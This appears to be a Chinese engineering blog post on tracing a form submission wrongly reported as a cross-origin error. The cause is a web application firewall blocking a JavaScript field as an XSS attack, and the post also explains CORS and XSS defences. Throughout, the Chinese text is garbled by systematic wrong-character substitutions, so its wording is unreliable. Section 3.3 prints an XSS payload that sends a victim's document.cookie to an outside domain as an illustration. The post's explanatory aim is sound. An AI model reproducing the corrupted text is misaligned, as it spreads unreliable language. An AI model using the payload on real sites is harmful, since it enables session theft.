vivo 互联网服务器团队- Wei Ling

本文次要讲述的是如何依据公司网络架构和业务特点,锁定失常申请被误判为跨域的起因并解决。

一、问题形容

某一个业务后盾在表单提交的时候,报跨域谬误,具体如下图:

从图中可看出,报错起因为HTTP申请发送失败,由此,需先理解HTTP申请残缺链路是什么。

HTTP申请个别通过3个关卡,别离为DNS、Nginx、Web服务器,具体流程如下图:

  • 浏览器发送申请首先达到当地运营商DNS服务器,通过域名解析获取申请 IP 地址
  • 浏览器获取 IP 地址后,发送HTTP申请达到Nginx,由Nginx反向代理到Web服务端
  • 最初,由web服务端返回相应的资源

理解HTTP根本申请链路后,联合问题,进行初步考察,发现此form表单是application/json格局的post提交。同时,此业务零碎采纳了前后端拆散的架构形式(页面域名和后盾服务域名不同 ), 并且在Nginx曾经配置跨域解决方案。基于此,咱们进行剖析。

二、问题排查步骤

第一步:自测定位

既然是form表单,咱们采纳控制变量法,尝试对每一个字段进行批改后提交测试。在屡次试验后,锁定表单中的moduleExport 字段的变动会导致这个问题

思考到moduleExport字段在业务上是一段JS代码,咱们尝试对这段JS代码进行删除/批改,发现:当字段moduleExport中的这段js代码足够小的时候,问题隐没。

基于上述发现,咱们第一个猜测是:会不会是HTTP响应方的申请body大小限度导致了这个问题。

第二步:排查 HTTP 申请 body 限度

因为采纳前后端拆散,实在的申请是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:

那么实践上,如果是HTTP申请body的限度,则可能产生在 LVS 层或者Nginx层或者Tomcat。咱们一步步排查:

首先排查LVS层。若LVS层故障,则会呈现网关异样的问题,返回码会为502。故此,通过抓包查看返回码,从下图可看出,返回码为418,故而排除LVS异样的可能

其次排查Nginx 层。Nginx层的HTTP配置如下:

咱们看到,在Nginx层,最大反对的HTTP申请body为50m, 而咱们这次事变的form申请表单,大概在2M, 远小于限度, 所以:不是Nginx 层HTTP申请body的限度造成的

而后排查 Tomcat 层,查看 Tomcat 配置:

咱们发现, Tomcat 对于最大post申请的size限度是-1, 语义上示意为无限度,所以: 不是 Tomcat 层HTTP申请body的限度造成的。

综上,咱们能够认为:此次问题和HTTP申请body的大小限度无关。

那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?

第三步:集思广益

咱们把相干的运维方拉到了一个群外面进行探讨,探讨分两个阶段

  • 【第一阶段】

运维方同学发现 Tomcat 是应用容器进行部署的,而容器和nginx层两头,存在一个容器自带的nameserver层——ingress。咱们查看ingress的相干配置后,发现其对于HTTP申请body的大小限度为3072m。排除是ingress的起因。

  • 【第二阶段】

平安方同学示意,公司为了避免XSS攻打,会对于所有后盾申请,都进行XSS攻打的校验,如果校验不通过,会报跨域谬误。

也就是说,实践上残缺的网络层调用链如下图:

并且从WAF的工作机制和问题表象上来看,很有可能是WAF层的起因

第四步:WAF 排查

带着上述的猜想,咱们从新抓包,尝试获取整个HTTP申请的optrace门路,看看是不是在WAF层被拦挡了,抓包后果如下:

从抓包数据上来看,status为complete代表前端申请发送胜利,返回码为418,而optrace中的ip地址经查问为WAF服务器ip地址

综上而言,form表单中的moduleExport字段的变动很可能导致在WAF层被拦挡。而呈现问题的moduleExport字段内容如下:

module.exports = {    "labelWidth": 80,    "schema": {        "title": "XXX",        "type": "array",        "items":{            "type":"object",            "required":["key","value"],            "properties":{                "conf":{                    "title":"XXX",                    "type":"string"                },                "configs":{                    "title":"XXX",                    "type":"array",                    "items":{                        ......                            config: {                                ......                                validator: function(value, callback) {                                    // 至多填写一项                                    if(!value || !Object.keys(value).length) {                                        return callback(new Error('至多填写一项'))                                    }                                    callback()                               }                         }              ......      }

咱们进行一个字段一个字段排查后,锁定module.exports.items.properties.configs.config.validator字段会触发WAF的拦挡机制:申请包过WAF模块时会对所有的攻打规定都会进行匹配,若属于高危危险规定,则触发拦挡动作。

三、 问题剖析

整个故障的起因,是业务申请的内容触发了WAF的XSS攻打检测。那么问题来了

  • 为什么须要WAF
  • 什么是XSS攻打

在阐明XSS之前,先得说分明浏览器的跨域爱护机制

3.1 跨域爱护机制

古代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:

  1. 协定名 HTTPS,HTTP
  2. 域名
  3. 端口名

均一样的状况下,才容许拜访雷同的cookie、localStorage或是发送Ajax申请等等。若在不同源的状况下拜访,就称为跨域。而在日常开发中,存在正当的跨域需要,比方此次问题故障对应的零碎,因为采纳了前后端拆散,导致页面的域名和后盾的域名必然不雷同。那么如何正当跨域便成了问题。

常见的跨域解决方案有:IFRAME, JSONP, CORS 三种。

  • IFRAME 是在页面外部生成一个IFRAME,并在IFRAME外部动静编写JS进行提交。用到此技术的有晚期的EXT框架等等。
  • JSONP 是将申请序列化成一个string,而后发动一个JS申请,带上string。此做法须要后盾反对,并且只能应用GET申请。在以后的业内曾经破除此计划。
  • CORS 协定的利用比拟宽泛,并且此次出事变的零碎是采纳了CORS进行前后端拆散。那么,什么是CORS协定呢?

3.2 CORS协定

CORS(Cross-Origin Resource Sharing)跨源资源分享是解决浏览器跨域限度的W3C规范(官网文档),其外围思路是:在HTTP的申请头中设置相应的字段,浏览器在发现HTTP申请的相干字段被设置后,则会失常发动申请,后盾则通过对这些字段的校验,决定此申请是否是正当的跨域申请。

CORS协定须要服务器的反对(非服务器的业务过程), 比方 Tomcat 7及其当前的版本等等。

对于开发者来说,CORS通信与同源的AJAX通信没有差异,代码齐全一样。浏览器一旦发现AJAX申请跨源,就会主动增加一些附加的头信息,有时还会多出一次附加的申请,但用户不会有感觉。

因而,实现CORS通信的要害是服务器(服务器端可判断,让哪些域能够申请)。只有服务器实现了CORS协定,就能够跨源通信。

尽管CORS解决了跨域问题,但引入了危险,如XSS攻打,因而在达到服务器之前需加一层Web利用防火墙(WAF),它的作用是:过滤所有申请,当发现申请是跨域时,会对整个申请的报文进行规定匹配,如果发现规定不匹配,则间接报错返回(相似于此次案例中的418)。

整体流程如下:

不合理的跨域申请,咱们个别认为是侵略性申请,这一类的申请,咱们视为XSS攻打。那么狭义而言的XSS攻打又是什么呢?

3.3 XSS 攻打机制

XSS为跨站脚本攻打(Cross-Site Scripting)的缩写,能够将代码注入到用户浏览的网页上,这种代码包含 HTML 和 JavaScript。

例如有一个论坛网站,攻击者能够在下面公布以下内容:

<script>location.href="//domain.com/?c=" + document.cookiescript>

之后该内容可能会被渲染成以下模式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了以后作用域的 Cookie。如果这个论坛网站通过 Cookie 治理用户登录状态,那么攻击者就能够通过这个 Cookie 登录被攻击者的账号了。

XSS通过伪造虚伪的输出表单骗取个人信息、显示伪造的文章或者图片等形式可窃取用户的 Cookie,盗用Cookie后就可假冒用户拜访各种零碎,危害极大。

上面给出2种XSS防御机制。

3.4 XSS 防御机制

XSS防御机制次要包含以下两点:

3.4.1 设置 Cookie 为 HTTPOnly

设置了 HTTPOnly 的 Cookie 能够避免 JavaScript 脚本调用,就无奈通过 document.cookie 获取用户 Cookie 信息。

3.4.2 过滤特殊字符

例如将 < 本义为 < ,将 \> 本义为 >,从而防止 HTML 和 Jascript 代码的运行。

富文本编辑器容许用户输出 HTML 代码,就不能简略地将 < 等字符进行过滤了,极大地提高了 XSS 攻打的可能性。

富文本编辑器通常采纳 XSS filter 来防备 XSS 攻打,通过定义一些标签白名单或者黑名单,从而不容许有攻击性的 HTML 代码的输出。

以下例子中,form 和 script 等标签都被本义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1> <p>123</p> <form>  <input type="text" name="q" value="test"></form> <pre>hello</pre> <script type="text/javascript">alert(/xss/);</script><h1>XSS Demo</h1> <p>123</p>

本义后:

<h1>XSS Demo</h1> <p>123</p> &lt;form&gt;&lt;input type="text" name="q" value="test"&gt;&lt;/form&gt; <pre>hello</pre> &lt;script type="text/javascript"&gt;alert(/xss/);&lt;/script&gt;

四、问题解决

在确定问题后,让平安团队批改WAF的拦挡规定后,问题隐没。

最初,对此问题进行总结。

五、问题总结

纵览整个排查过程,最消耗资源的工作集中于问题定位:到底是哪个模块呈现了问题。而定位模块的最大难点在于:对于网络全链路的不理解(之前并不通晓WAF层的存在)。

那么,针对相似的问题,咱们前面应该如何去减速问题的解决呢?我认为有两点须要留神:

  1. 采纳控制变量法, 精准定位到问题的边界——什么时候能呈现,什么时候不能呈现。
  2. 相熟每一个模块的存在,以及每一个模块的职责边界和危险可能。

上面来一一解释:

5.1 确定问题边界

咱们在一开始,确定是form表单导致的问题后,咱们就一一字段进行批改验证,最终确定其中某个字段导致的景象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐渐剖析字段中每个属性,从而最终确定XX属性的值触犯了WAF的规定机制。

5.2 定位模块谬误

在此案例中,跨域回绝的故障次要是网络层,那么咱们就必须要摸清楚整个业务服务的网络层次结构。而后对每一层的状况进行剖析。

  • 在Nginx层,咱们对配置文件进行剖析
  • 在ingress层,咱们对其中的配置规定进行剖析
  • 在Tomcat层,咱们对server.xml的属性进行剖析

总结而言,咱们必须相熟每一个模块的职责,并且通晓如何判断每一个模块是否在整个链路中失常工作,只有基于此,咱们能力将问题起因的范畴逐渐放大,从而最初取得答案。